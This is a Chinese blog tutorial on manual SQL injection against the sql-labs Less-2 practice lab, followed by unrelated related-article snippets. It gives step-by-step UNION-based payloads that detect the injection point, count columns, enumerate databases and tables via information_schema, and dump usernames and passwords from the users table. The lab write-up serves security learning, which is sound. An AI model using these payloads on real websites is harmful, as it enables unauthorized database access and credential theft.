当前位置: 首页 > news >正文

SQL注入-SQL注入过程

 SQL注入的过程

手工注入过程

(1) 判断是否存在注入点;

(2) 判断字段长度(字段数);

(3) 判断字段回显位置;

(4) 判断数据库信息;

(5) 查找数据库名;

(6) 查找数据库表;

(7) 查找数据库表中所有字段以及字段值;

(8) 猜解账号密码;

(9) 登录管理员后台;


以sql-labs less-2举例

会有提示 请输入ID作为数值参数

Please input the ID as parameter with numeric value

id=1-12 都会返回值 也就是相当于该id列 共有12个值 1-12


(1) 判断是否存在注入点;

三步

?id=1'   报错数据库错误

?id=1 and 1=1 成功

?id=1 and 1=2 失败

通过这三点就可以看出 存在注入点并且注入点在url中 属于GET数字型注入点


(2) 判断字段长度(字段数);

使用order by排序进行判断

?id=1 and 1= 1 order by 1  对第一列排序 正常显示

?id=1 and 1= 1 order by 2  对第二列排序 正常显示

?id=1 and 1= 1 order by 3  对第三列排序 正常显示

?id=1 and 1= 1 order by 4  对第四列排序 错误显示:Unknown column '4' in 'order clause'

判断出 对前三列排序都是正常显示 对第四列排序显示错误:第四列未知 

使用 union 联合查询进行判断

?id=1 and 1= 1 union select 1                错误显示

?id=1 and 1= 1 union select 1,2             错误显示

?id=1 and 1= 1 union select 1,2,3          正常显示

?id=1 and 1= 1 union select 1,2,3,4       错误显示

判断出 联合查询为3列的时候能与原列数进行拼接 否则报错原因为:所使用的SELECT语句具有不同数量的列 

通过以上两种方法可以判断出 该表的字段数为3


(3) 判断字段回显位置;

目前知道有三个字段 但是只回显了两个字段的值 我们应该判断哪些字段是隐藏的 哪些字段是回显出来的

使用and否定前面的查询 使数据库执行union后的查询语句 

已知三个字段 给联合查询 三个常量值 1,2,3进行判断哪些字段显示出来了

?id=1 and 1= 2 union select 1,2,3 

回显的值为2和3,表示 能显示的位置为2号位和3号位也就是2字段和3字段,那么第1个字段就是隐藏位,从这个信息我们就可以的到下一步,如果我们设计payload的时候,我们希望把payload放到2号位和3号位的位置,只有这样我们才能够看到payload的返回结果(如果payload放到1号位 虽然也能执行 但是无法看到执行结果)


(4) 判断数据库信息;

获取服务器所有数据库

从目录数据库中进行查找 存放着MYSQL所有的数据库,表,列的名(上面提到过 这个目录数据库的数据库名 目录数据库的表名 目录数据库中表的列名都是固定的)(只演示获取数据库)

?id=1 and 1= 2 union select 1,2,schema_name from information_schema.schemata

schema_name

列有很多个值 但是3号位只能显示第一个值 只能显示第一个数据库的名

使用group_concat()函数聚合函数把当前列所有值连接成字符串 从而返回一个结果集 返回当前服务器存在的所有数据库

?id=1 and 1= 2 union select 1,2,group_concat(schema_name) from information_schema.schemata


5 获取当前网站的数据库

?id=1 and 1= 2 union select 1,2,database()

获取到网站数据库名security了 就开始获取security内的表了


(6) 查找数据库表;

?id=1 and 1= 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

到这我们认为users可能存放着敏感信息于是查询users表中字段名以及字段值


(7) 查找数据库表中所有字段以及字段值;

查询users字段名

?id=1 and 1= 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"

查询每个字段的值

现在已经知道数据库为security表位users 就不需要目录数据库了

使用concat_ws()函数 将每个字段的值以逗号分开结合成字符串

如果不是用该函数3号位只能显示1个字段的一个值 使用后3号位能显示3个字段的3个值

使用limit逐行显示 不使用注释会报错 大概率是与服务器的固定部分语句冲突等原因

?id=1 and 1= 2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1 --

前7步已经得到想要的结果了账号密码了 (8) 猜解账号密码 略过  

当前靶场无登录界面 所以 (9) 登录管理员后台;略过

以上七步的所有结果后不确定是否正确

登录靶机的mysql中 查看security数据库users表中的内容进行验证 发现完全一致

相关文章:

SQL注入-SQL注入过程

SQL注入的过程 手工注入过程 (1) 判断是否存在注入点; (2) 判断字段长度(字段数); (3) 判断字段回显位置; (4) 判断数据库信息; (5) 查找数据库名; (6) 查找数据库表; (7) 查找数据库表中所有字段以及字段值; (8) 猜解账号密码; (9) 登录管理员后台; 以sql-labs less-2举例 会…...

选择更灵活的设计工具:SOLIDWORKS 软件网络版与单机版的比较

随着科技的飞速发展,工程设计领域对于高效、灵活的设计工具需求日益增加。SOLIDWORKS 作为一款广受欢迎的三维设计软件,提供了网络版和单机版两种选择。在本文中,我们将深入探讨这两个版本的区别,并为您详细介绍它们的价格差异。 …...

Go语言中获取协程ID

简介 java同事都知道,线程会有对应的id,那么go语言中协程有id吗,其实是有的,但是不建议使用。 实在需要使用的话可以使用本文的例子获取 stack 我们先看一下runtime.Stack打印出来的栈结构,其中就包括了协程id fu…...

CH58x-BLE 程序阅读笔记

CH58x-BLE 程序阅读笔记 1. 广播1.1 广播类型设置1.2 广播数据长度 2. MTU设置2.1 CH58x 蓝牙协议栈支持有效最大MTU为247 1. 广播 1.1 广播类型设置 1.2 广播数据长度 1) GAP-广播数据(最大大小31字节,但最好保持较短以节省广告时的电量&a…...

ST53xx 系列是一种高精度、高输入电压、低静态电流、高速度、低压差线性稳压器

ST53xxS/T 40V,低静态电流,高可靠性 LDO 概述: ST53xx 系列是一种高精度、高输入电压、低静态电流、高速度、低压差线性稳压器,具有高纹波抑制能力。在 Vour 5V VIN 7V 时,输入电压高达40V,负载电流高达300…...

麻雀搜索优化算法MATLAB实现,SSA-BP网络

对于麻雀搜索算法的介绍,网上已经有不少资料了,这边公布SSA的matlab实现 下面展示SSA算法的核心代码以及详细注解 % 麻雀搜索算法函数定义 % 输入:种群大小(pop),最大迭代次数(Max_iter),搜索空间下界(lb)&#xff0c…...

142. 环形链表 II --力扣 --JAVA

题目 给定一个链表的头节点 head ,返回链表开始入环的第一个节点。 如果链表无环,则返回 null。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测系统内部使…...

深入浅出 Vue 中的插槽 slot

深入浅出 Vue 中的插槽 slot start 最近被问到好几次 Vue 中的插槽相关知识,掌握的还是有些不全面。抱着重新学习的心态,写这篇博客。首先对基础知识做一个回顾,然后再对源码实现做一个学习。作者:番茄编写时间:2023…...

postgreSQL 查询所有模式的语句

场景 postgre 数据库下携带模式的分组 sql select schema_name from information_schema.schemata;...

pandas教程:Introduction to scikit-learn scikit-learn简介

文章目录 13.4 Introduction to scikit-learn(scikit-learn简介) 13.4 Introduction to scikit-learn(scikit-learn简介) scikit-learn是一个被广泛使用的python机器学习工具包。里面包含了很多监督式学习和非监督式学习的模型&a…...

Linux配置路由功能及添加静态路由

一、配置路由功能 Linux作为路由器,Linux本身就具备路由功能,开启方式如下: 临时开启: echo "1" > /proc/sys/net/ipv4/ip_forward永久开启: vim /etc/sysctl.confnet.ipv4.ip_forward1 # 配置生效 sys…...

什么是Geo Trust OV证书

一、GeoTrust OV证书的介绍 GeoTrust OV证书是由GeoTrust公司提供的SSL证书,它是一种支持OpenSSL的数字证书,具有更高的安全性和可信度。GeoTrust是全球领先的网络安全解决方案提供商,为各类用户提供SSL证书和信任管理服务。GeoTrust OV证书…...

selenium 工具 的基本使用

公司每天要做工作汇报,汇报使用的网页版, 所以又想起 selenium 这个老朋友了。 再次上手,发现很多接口都变了, 怎么说呢, 应该是易用性更强了, 不过还是得重新看看, 我这里是python3。 pip安装…...

Excel如何比较两列数据的不同

当遇到exel有两个列表的数据,需要比较得到他们的不同的部分,并且得到一个不同的值的列表。示例如下: 目的是:通过比较,知道Column2的哪些值不在在Column1里。 WPS直接提供了这一个功能,如下图:…...

力扣labuladong——一刷day47

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、力扣993. 二叉树的堂兄弟节点二、力扣1315. 祖父节点值为偶数的节点和三、力扣1448. 统计二叉树中好节点的数目四、力扣1469. 寻找所有的独生节点 前言 二叉…...

蓝桥杯-02-python组考点与14届真题

文章目录 蓝桥杯python组考点与14届真题参考资源python组考点1. 组别2. 竞赛赛程3. 竞赛形式4. 参赛选手机器环境5. 试题形式5.1. 结果填空题5.2. 编程大题 6. 试题考查范围7. 答案提交8. 评分9. 样题样题 1:矩形切割(结果填空题)样题 2&…...

【0240】源码分析PG内核中的关键字列表(SQL keywords)

相关文章: 【0236】聊一聊PG内核中的命令标签(Command Tags、CommandTag、tag_behavior) 【0239】从编译原理角度理解 #include “xxx“ 或 #include<xxx> 的实现机制 1. PostgreSQL的SQL关键字列表(SQL Keywords) 1.1 keywords.c源文件内容 keywords.c源文件中的内容…...

【Python深度学习第二版】学习笔记之——什么是深度学习

机器学习是将输入(比如图像)映射到目标(比如标签“猫”)的过程。 这一过程是通过观察许多输入和目标的示例来完成的。 深度神经网络通过一系列简单的数据变换(层)来实现这种输入到目标的映射,这…...

ddns-go部署在linux虚拟机

ddns-go部署ubuntu1804 1.二进制部署 1.虚拟机部署 1.下载linux的x86二进制包 wget https://github.com/jeessy2/ddns-go/releases/download/v5.6.3/ddns-go_5.6.3_linux_x86_64.tar.gz2.解压 tar -xzf ddns-go_5.6.3_linux_x86_64.tar.gz3.拷贝执行文件到PATH下&#xff0c…...

LeetCode Hot100 543.二叉树的直径

题目: 给你一棵二叉树的根节点,返回该树的 直径 。 二叉树的 直径 是指树中任意两个节点之间最长路径的 长度 。这条路径可能经过也可能不经过根节点 root 。 两节点之间路径的 长度 由它们之间边数表示。 方法:灵神 代码: ​…...

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...

VB.net复制Ntag213卡写入UID

本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...

在rocky linux 9.5上在线安装 docker

前面是指南,后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指:像函数调用/返回一样轻量地完成任务切换。 举例说明: 当你在程序中写一个函数调用: funcA() 然后 funcA 执行完后返回&…...

如何将联系人从 iPhone 转移到 Android

从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解

本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)

骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术&#xff0c;它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton)&#xff1a;由层级结构的骨头组成&#xff0c;类似于人体骨骼蒙皮 (Mesh Skinning)&#xff1a;将模型网格顶点绑定到骨骼上&#xff0c;使骨骼移动…...

Python+ZeroMQ实战:智能车辆状态监控与模拟模式自动切换

目录 关键点 技术实现1 技术实现2 摘要&#xff1a; 本文将介绍如何利用Python和ZeroMQ消息队列构建一个智能车辆状态监控系统。系统能够根据时间策略自动切换驾驶模式&#xff08;自动驾驶、人工驾驶、远程驾驶、主动安全&#xff09;&#xff0c;并通过实时消息推送更新车…...

计算机基础知识解析:从应用到架构的全面拆解

目录 前言 1、 计算机的应用领域&#xff1a;无处不在的数字助手 2、 计算机的进化史&#xff1a;从算盘到量子计算 3、计算机的分类&#xff1a;不止 “台式机和笔记本” 4、计算机的组件&#xff1a;硬件与软件的协同 4.1 硬件&#xff1a;五大核心部件 4.2 软件&#…...

Golang——9、反射和文件操作

反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一&#xff1a;使用Read()读取文件2.3、方式二&#xff1a;bufio读取文件2.4、方式三&#xff1a;os.ReadFile读取2.5、写…...